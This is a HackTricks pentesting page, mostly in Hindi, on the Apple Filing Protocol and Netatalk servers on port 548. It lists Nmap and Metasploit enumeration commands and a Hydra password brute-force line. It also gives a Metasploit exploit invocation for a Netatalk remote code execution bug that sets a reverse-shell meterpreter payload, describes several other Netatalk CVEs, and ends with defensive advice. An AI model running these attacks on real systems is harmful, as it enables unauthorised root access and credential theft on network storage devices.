548 - Pentesting Apple Filing Protocol (AFP)

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

बुनियादी जानकारी

The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within Apple File Service (AFS). यह macOS और classic Mac OS के लिए फ़ाइल सेवाएँ प्रदान करने के लिए डिज़ाइन किया गया है। AFP Unicode फ़ाइल नामों, POSIX-style और ACL permissions, resource forks, named extended attributes और उन्नत फ़ाइल-लॉकिंग मेकेनिज़्म का समर्थन करने के लिए विशेष रूप से जाना जाता है।

हालाँकि आधुनिक macOS रिलीज़ में AFP को SMB ने प्रतिस्थापित कर दिया है (SMB is the default since OS X 10.9), फिर भी यह निम्न स्थानों पर देखा जाता है:

  • Legacy macOS / Mac OS 9 वातावरण
  • NAS appliances (QNAP, Synology, Western Digital, TrueNAS…) जो open-source Netatalk daemon को embed करते हैं
  • Mixed-OS नेटवर्क जहाँ Time-Machine-over-AFP अभी भी सक्षम है

डिफ़ॉल्ट TCP पोर्ट: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

त्वरित banner / server जानकारी

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
स्क्रिप्टयह क्या करता है
afp-lsउपलब्ध AFP वॉल्यूम और फ़ाइलें सूचीबद्ध करता है
afp-bruteAFP login के खिलाफ Password brute-force करता है
afp-serverinfoserver name, machine type, AFP version, supported UAMs आदि को dump करता है
afp-showmountshares को उनकी ACLs के साथ सूचीबद्ध करता है
afp-path-vulndirectory-traversal, CVE-2010-0533 का पता लगाता है (और exploit कर सकता है)

यदि अधिक नियंत्रण की आवश्यकता हो तो NSE brute-force script को Hydra/Medusa के साथ जोड़ा जा सकता है:

hydra -L users.txt -P passwords.txt afp://<IP>

यदि आपके पास पहले से credentials हैं, Nmap’s AFP scripts become much more useful क्योंकि afp-serverinfo leaks the advertised UAMs (auth methods), जबकि afp-showmount और afp-ls reachable shares, ACLs और interesting files को enumerate कर सकते हैं:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
  • Machine Type: Netatalk afp-serverinfo आउटपुट में, जो आम तौर पर Apple के अपने AFP कार्यान्वयन की बजाय एक NAS/Unix होस्ट को दर्शाता है।
  • UAMs जैसे DHX, DHX2, Cleartxt या Guest, क्योंकि ये सीधे संकेत देते हैं कि पहुँचने योग्य लॉगिन पाथ क्या हैं और क्या legacy / weak auth सक्षम है।
  • Share ACLs afp-showmount से; world-readable या drop-box स्टाइल shares अक्सर बैकअप, .appl फाइलें, और user metadata को तब तक एक्सपोज़ कर देते हैं जब तक आप वॉल्यूम को माउंट भी नहीं करते।

शेयर्स के साथ इंटरैक्ट करना

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (afpfs-ng का उपयोग ‑ अधिकांश distros में पैकेज किया गया)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Once mounted, remember that classic Mac resource-forks are stored as hidden ._* AppleDouble files – these often hold interesting metadata that DFIR tools miss.

On Netatalk targets this metadata backend also matters for exploitability:

  • ea = ad means metadata is stored in AppleDouble v2 files / .AppleDouble directories.
  • ea = sys or ea = samba stores metadata in filesystem extended attributes instead.
  • In Netatalk 4.2+ the old appledouble option was removed and the backend is controlled solely through the ea option.

From an offensive perspective, this lets you quickly decide whether AppleDouble-oriented bugs are more likely to be reachable on the server.


Common Vulnerabilities & Exploitation

Netatalk unauthenticated RCE chain (2022)

Several NAS vendors shipped Netatalk ≤3.1.12. A lack of bounds checking in parse_entries() allows an attacker to craft a malicious AppleDouble header and obtain remote root before authentication (CVSS 9.8 – CVE-2022-23121). A full write-up by NCC Group with PoC exploiting Western-Digital PR4100 is available.

Metasploit (>= 6.3) ships the module exploit/linux/netatalk/parse_entries which delivers the payload via DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

यदि लक्ष्य प्रभावित QNAP/Synology फर्मवेयर चला रहा है, तो सफल एक्सप्लॉइटेशन पर root के रूप में शेल प्राप्त होता है।

Netatalk OpenSession heap overflow (2018)

Older Netatalk (3.0.0 - 3.1.11) DSI OpenSession handler में एक out-of-bounds write के लिए कमजोर है जो unauthenticated code execution (CVE-2018-1160) की अनुमति देता है। Tenable Research ने एक विस्तृत analysis और PoC प्रकाशित किया था।

Newer Netatalk attack surface (2022-2024)

Recent Netatalk advisories दिखाती हैं कि attack surface अब केवल parse_entries() और OpenSession handling तक सीमित नहीं है:

  • CVE-2022-45188: एक specially crafted .appl फ़ाइल afp_getappl में heap overflow ट्रिगर कर सकती है; यह विशेष रूप से प्रासंगिक है यदि आप शेयर में फ़ाइलें लिख सकते हैं और सर्वर FCE / notify सुविधाएँ चला रहा हो।
  • CVE-2023-42464: एक type confusion बग Spotlight RPC handlers में पहुँच योग्य हो सकता है जब spotlight = yes afp.conf में सक्षम हो (डिफ़ॉल्ट रूप से disabled)।
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: login-related पाथ्स में one-byte heap out-of-bounds writes जिन्हें Netatalk 2.4.1 / 3.1.19 / 3.2.1 में फिक्स किया गया। ये बग्स इसलिए दिलचस्प हैं क्योंकि exploitability कॉन्फिगर किए गए UAMs पर निर्भर करती है:
    • uams_clrtxt.so + PAM-backed ClearTxt login FPLoginExt path को एक्सपोज़ करता है जो CVE-2024-38439 के लिए प्रासंगिक है।
    • uams_dhx.so + PAM-backed DHX login vulnerable path तक पहुँचता है जो CVE-2024-38440 के लिए है।
    • uams_guest.so Guest login path को CVE-2024-38441 के लिए पहुंच योग्य रखता है।

इसका मतलब है कि afp-serverinfo का आउटपुट केवल fingerprinting डेटा नहीं है; यह आपको यह तय करने में मदद करता है कि कौन सा login parser एक्सपोज़्ड है, इससे पहले कि आप exploit development या NAS firmware triage में समय लगाएँ।

Other notable issues

  • CVE-2022-22995 – Symlink redirection जो AppleDouble v2 सक्षम होने पर arbitrary file write / RCE की ओर ले जाता है (3.1.0 - 3.1.17)।
  • CVE-2010-0533 – Apple Mac OS X 10.6 AFP में Directory traversal (जिसे afp-path-vuln.nse द्वारा detect किया गया)।
  • Multiple memory-safety bugs को फिर से 2024 Netatalk releases के दौरान फिक्स किया गया; अगर आप afp-serverinfo में Netatalk पहचानते हैं, तो केवल 2018/2022 बग्स मानने से पहले सर्वर वर्शन के साथ एक्सपोज़्ड UAMs / Spotlight / metadata backend को एक मिनट के लिए correlate कर लें।

Defensive Recommendations

  1. Disable AFP जब तक सख्ती से आवश्यक न हो – SMB3 या NFS का उपयोग करें।
  2. यदि AFP बने रहना ज़रूरी है, तो Netatalk को ≥ 3.1.18 या 4.x में अपग्रेड करें, या वेन्डर फर्मवेयर लागू करें जो 2022/2023/2024 patches को back-port करता हो।
  3. Enforce Strong UAMs (उदा. DHX2), clear-text और guest logins निष्क्रिय करें।
  4. TCP 548 को trusted subnets तक सीमित रखें और दूरस्थ रूप से expose होने पर AFP को VPN के अंदर wrap करें।
  5. CI/CD में समय-समय पर nmap -p 548 --script afp-* से स्कैन करें ताकि rogue / downgraded appliances पकड़े जा सकें।

Brute-Force

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें